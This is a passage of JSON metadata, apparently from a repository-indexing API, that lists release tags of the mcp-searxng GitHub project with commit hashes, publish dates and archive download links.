cdfb2768b450ebdd26c8e074921e774cfded","kind":"commit","published_at":"2026-04-01T06:04:59.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.2/manifests"},{"name":"v0.10.1","sha":"20701ec120576daff43349fbcfca3506fe59eff5","kind":"commit","published_at":"2026-03-30T21:34:20.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.1/manifests"},{"name":"v0.10.0","sha":"a844ca77fa4711ced8c0533cf1fef9120d66faae","kind":"commit","published_at":"2026-03-21T18:39:23.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.10.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.10.0/manifests"},{"name":"v0.9.2","sha":"b1d8adf420d1712b36483442cf031d54347b2984","kind":"commit","published_at":"2026-03-11T22:48:01.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.9.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.2/manifests"},{"name":"v0.9.1","sha":"ee56d85d513334ca3cd0dc2580d31dc201ba5639","kind":"commit","published_at":"2026-02-22T19:32:10.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.9.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.1/manifests"},{"name":"v0.9.0","sha":"3efaac235d1cea17f16050e86b8c1c344c1e2287","kind":"commit","published_at":"2026-02-18T23:21:04.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.9.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.9.0/manifests"},{"name":"v0.8.0","sha":"4c47b04249c88d5531ed1771c7eb819213cb4864","kind":"commit","published_at":"2025-11-09T22:05:02.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.8.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.8.0/manifests"},{"name":"v0.7.12","sha":"fc76c97ae2665e3d190bc4407934c6b55d3f52ac","kind":"commit","published_at":"2025-11-01T17:40:09.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.12","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.12/manifests"},{"name":"v0.7.11","sha":"1dc6f971a6dcc8613166bc01946f56d3d629a25e","kind":"commit","published_at":"2025-10-29T05:39:17.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.11","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.11/manifests"},{"name":"v0.7.10","sha":"477f2920527b1e173b9a8958bf822f569219bb1a","kind":"commit","published_at":"2025-10-29T05:37:22.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.10","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.10/manifests"},{"name":"v0.7.9","sha":"3ffb7d6ac540c946024f29ad449ff1c0cf019d0b","kind":"commit","published_at":"2025-10-29T05:24:27.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.9","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.9/manifests"},{"name":"v0.7.8","sha":"42d5f6f56c6fe4f71eb8cb42a8d363c4f36769f2","kind":"commit","published_at":"2025-10-19T20:46:45.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.8","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.8/manifests"},{"name":"v0.7.7","sha":"04c58bb7b91e3803460cc5c1913255deb773f817","kind":"commit","published_at":"2025-10-19T20:44:21.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.7","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.7/manifests"},{"name":"v0.7.6","sha":"67dbd7fe6c148aead07b8b6a145d0129176f102e","kind":"commit","published_at":"2025-10-19T20:37:13.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.6","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.6/manifests"},{"name":"v0.7.5","sha":"e83f814f3d837e638501f4586faf5efa2d6b65e9","kind":"commit","published_at":"2025-10-19T20:34:41.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.5/manifests"},{"name":"v0.7.4","sha":"20d2f5de6eb64d62d13adb642f29a8ab94ef2d2f","kind":"commit","published_at":"2025-10-19T20:18:54.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.4/manifests"},{"name":"v0.7.3","sha":"0a4d3f393e9e771fcad0dfe32c40d56fe9830f85","kind":"commit","published_at":"2025-10-19T20:16:09.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.3/manifests"},{"name":"v0.7.2","sha":"d9f997cf2a617b82f691956a3ceffca54f443b7a","kind":"tag","published_at":"2025-10-19T20:13:26.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.2/manifests"},{"name":"v0.7.1","sha":"62f0d26df2f186f0c259214f836607cac8b8ede1","kind":"tag","published_at":"2025-10-19T20:12:17.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"73035fde630b15d0937892953ed6c72ce462738a","kind":"tag","published_at":"2025-09-25T03:58:06.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.0/manifests"},{"name":"v0.6.5","sha":"04109ba6419e4ee9fce08503e9948d18c8616d6a","kind":"tag","published_at":"2025-09-08T20:15:52.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.5/manifests"},{"name":"v0.6.4","sha":"cf8a590d143abb298c7edb50522d0d4ddb3213cb","kind":"tag","published_at":"2025-09-08T18:07:42.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.4/manifests"},{"name":"v0.6.3","sha":"b6aac7df026ca37142a3b94868864e0932573239","kind":"tag","published_at":"2025-09-08T16:38:10.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.3/manifests"},{"name":"v0.6.2","sha":"b75093448fd31a6643ae3d94ff1dd239bdba23bb","kind":"tag","published_at":"2025-09-06T20:56:13.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.2/manifests"},{"name":"v0.6.1","sha":"6ec6132b63d3003757e8b6b9fe5dfa023f22edae","kind":"tag","published_at":"2025-08-24T19:41:06.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"de7e3f108dd4ce7e9c3a067235f8c0518bba5ff5","kind":"commit","published_at":"2025-08-23T04:49:25.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.0/manifests"},{"name":"v0.5.2","sha":"f2b4c0f7f4494ec86e6242480dcb789502749d86","kind":"tag","published_at":"2025-08-09T00:51:20.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.5.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"383b32dee5232fdb6e9b241df2271c4a22c7a004","kind":"tag","published_at":"2025-07-07T22:55:51.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.5.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"e2291216e0fb52f8199f8d7c38348a6a1e7ec060","kind":"commit","published_at":"2025-06-02T03:10:07.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.5.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.0/manifests"},{"name":"v0.4.7","sha":"41ad5e534404db89fc6dfea18be30674db0b2fa5","kind":"tag","published_at":"2025-06-02T03:09:29.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.7","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"cf5128a1409befc4a658cc170332357e0fb8e29e","kind":"tag","published_at":"2025-04-22T16:23:34.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.6","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"b7e720b842e0c017bf18a74bdaa8a05a0e6dbf64","kind":"tag","published_at":"2025-04-22T00:58:29.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"df39042139b11820580732f2c43f0cbbc6f768bd","kind":"tag","published_at":"2025-04-22T00:54:36.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"cfaac057e157da0c76cb5cb46b7fcc461ddb7868","kind":"tag","published_at":"2025-04-22T00:51:28.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"aa6c5c233194aa9566163b3a0dae8e68d0c2c640","kind":"tag","published_at":"2025-04-22T00:42:42.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"e32f704d56567ecd6a49a03638e85e5d016cd3a5","kind":"tag","published_at":"2025-04-19T23:48:11.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"ae12a306d615057c328d201cc497d5aad6571583","kind":"commit","published_at":"2025-04-19T23:33:44.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.0/manifests"},{"name":"v0.3.7","sha":"8d9592923bfe89ba345a823599effc929dc88c2f","kind":"commit","published_at":"2025-04-19T23:31:50.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.7","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"80a912c94869adf5b12fc068d834ad4ffda6c251","kind":"commit","published_at":"2025-04-19T23:28:43.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.6","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"6ad31a3101a311f1fee8650b82c4d30d631c2612","kind":"commit","published_at":"2025-04-19T23:25:08.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"12601a381127142244c084035627d1e5366629c1","kind":"tag","published_at":"2025-04-19T22:31:18.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/re